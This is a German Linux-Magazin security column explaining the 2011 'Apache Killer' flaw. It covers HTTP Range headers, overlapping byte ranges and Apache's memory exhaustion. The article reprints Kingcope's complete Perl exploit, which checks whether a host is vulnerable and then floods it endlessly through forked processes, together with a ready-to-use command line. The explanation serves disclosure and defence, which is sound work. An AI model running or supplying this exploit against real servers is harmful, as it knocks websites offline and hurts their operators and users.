Open Source im professionellen Einsatz

Apache-Killer: Range-Exploit legt Webserver lahm

Am 20. August wurde auf Full Disclosure ein Exploit als "Apache Killer" gemeldet. Dieser in Perl geschrieben Code legt viele derzeit im Betrieb befindlichen Apache Server lahm und taucht vermehrt in freier Wildbahn auf. Apache hat Lösungsvorschläge zur Abwehr veröffentlicht.

Die eigentliche Meldung enthielt lediglich den Exploit und keine Hintergrund-Informationen. Die Idee des Exploits ist nicht neu und basiert auf einer schon im Januar 2007 von Michal Zalewski diskutierten Implementationsschwäche des HTTP-Protokolls. Dieses sieht laut RFC 2616 vor, dass ein Client einem Server mitteilen kann, dass dieser nur bestimmte Byte-Bereiche eines Dokumentes schicken soll. Das hat Vorteile beim Übertragen größerer Binärdaten, wie PDF- oder Video-Dateien, denn dann muss beispielsweise bei Abbruch des Downloads nicht wieder die gesamte Datei neu heruntergeladen werden. Ein Webserver kann einem Browser in dem HTTP-Header mitteilen, ob er diese Funktionalität unterstützt:

Accept-Ranges: bytes

Anschließend kann der Client gezielte Byte-Bereiche eines Dokuments anfordern, wobei er dazu in der HTTP-Anfrage einen Range-Eintrage unterbringt:

Range: bytes=500-999

Der Server kann aber auch explizit anzeigen, dass er diese Funktionalität nicht implementiert indem er an den Client

Accept-Ranges: none

sendet.

Der Client kann auch verschiedene Byte-Bereiche gleichzeitig anfordern. Dazu gibt er bei Range mehrere durch Kommata getrennte Bereiche an. Diese verschiedenen Bereiche werden dann in der Server-Antwort als Multipart-MIME-Nachrichten übertragen, wobei der Medien-Type" multipart/byteranges" verwendet wird. Eine Server-Antwort könnte also wie folgt aussehen:

HTTP/1.1 206 Partial content
Date: Wed, 15 Nov 1995 06:25:24 GMT
Last-modified: Wed, 15 Nov 1995 04:58:08 GMT
Content-type: multipart/byteranges; boundary=THIS_STRING_SEPARATES

--THIS_STRING_SEPARATES
Content-type: application/pdf
Content-range: bytes 500-999/8000

...the first range...
--THIS_STRING_SEPARATES
Content-type: application/pdf
Content-range: bytes 7000-7999/8000

...the second range
--THIS_STRING_SEPARATES--

Der Status-Code 206 (Partial content) zeigt an, dass die Nachricht verschiedene "multipart/byteranges" enthält.

Der jetzt veröffentlichte Exploit nutzt zwei verschiedene Schwachstellen in dem Handling von Ranges aus. Das erste Problem ist eine Design-Schwachstelle, die Michal Zalewski schon vor vier Jahren aufzeigte. Das Problem besteht darin, dass die von dem Client spezifizierten Byte-Bereiche sich wiederholen können, ein Client kann beispielsweise 100 mal denselben Bereich eines Dokuments von dem Server anfordern. Praktisch alle im Umlauf befindlichen Webserver werden dann dieser Anfrage folge leisten und diese dann an den Client senden. Wie Zalewski 2007 betonte ist es damit möglich extrem große Mengen an Netzwerkverkehr von dem Server an den Client auszulösen, wobei der Client nur eine sehr kleine Datenmenge an den Server selbst schicken muss. Der aktuelle Exploit nutzt nun noch zusätzlich ein Apache-spezifisches Problem in der Speicherimplementierung von Range-Anfragen aus. Programmiertechnisch werden diese ganzen Bereiche gleichzeitig im Apache-Speicher gehalten. Verlangt ein entfernter Angreifer eine große Zahl großer Byte-Bereiche, so geht dem Server der Arbeitsspeicher aus und er greift auf den Swap-Speicher zurück. Jeder Linux-Anwender hat dies schon erlebt und weiß, dass das System dann sehr langsam wird und praktisch nicht mehr reagiert. Genau das passiert auch mit dem Apache-Webserver-System, dass dann keine weiteren Anfragen mehr beantworten kann. Der Exploit schickt also einfach sehr viele dieser kritischen Range-Anfragen an den Server, was sich in Perl sehr einfach mit IO::Socket realisieren lässt:

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
 print "Apache Remote Denial of Service (memory exhaustion)\n";
 print "by Kingcope\n";
 print "usage: perl killapache.pl <host> [numforks]\n";
 print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
 
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
 $p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;  
 
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                         Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                         Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
 print "host seems vuln\n";
 return 1; 
} else {
 return 0; 
}
}

if ($#ARGV < 0) {
 usage;
 exit; 
}

if ($#ARGV > 1) {
 $numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
 print "Host does not seem vulnerable\n";
 exit; 
}
while(1) {
killapache();
}

Um die Denial-of-Service-Attacke zu beschleunigen verwendet der Exploit Parallel::ForkManager um mehrere Kinder-Prozesse zu erzeugen, die allesamt Anfragen an den Server generieren. Ein Grund für die starke Verbreitung dieses Exploits ist sowohl die Einfachheit der Schwachstelle als auch die unkomplizierte Handhabung des Exploits selbst, denn ein simples

perl killapache.pl www.hostnamexzy123.com 50

gegen einen Apache-Server genügt schon um diesen lahmzulegen. Nach Veröffentlichung des Exploits hat Apache reagiert und ein Advisory mit möglichen Lösungsvorschlägen veröffentlicht.

comments powered by Disqus

Ausgabe 05/2014

Digitale Ausgabe: Preis € 6,40
(inkl. 19% MwSt.)

Artikelserien und interessante Workshops aus dem Magazin können Sie hier als Bundle erwerben.

Insecurity Bulletin

Insecurity Bulletin

Im Insecurity Bulletin widmet sich Mark Vogelsberger aktuellen Sicherheitslücken sowie Hintergründen und Security-Grundlagen. mehr...

Linux-Magazin auf Facebook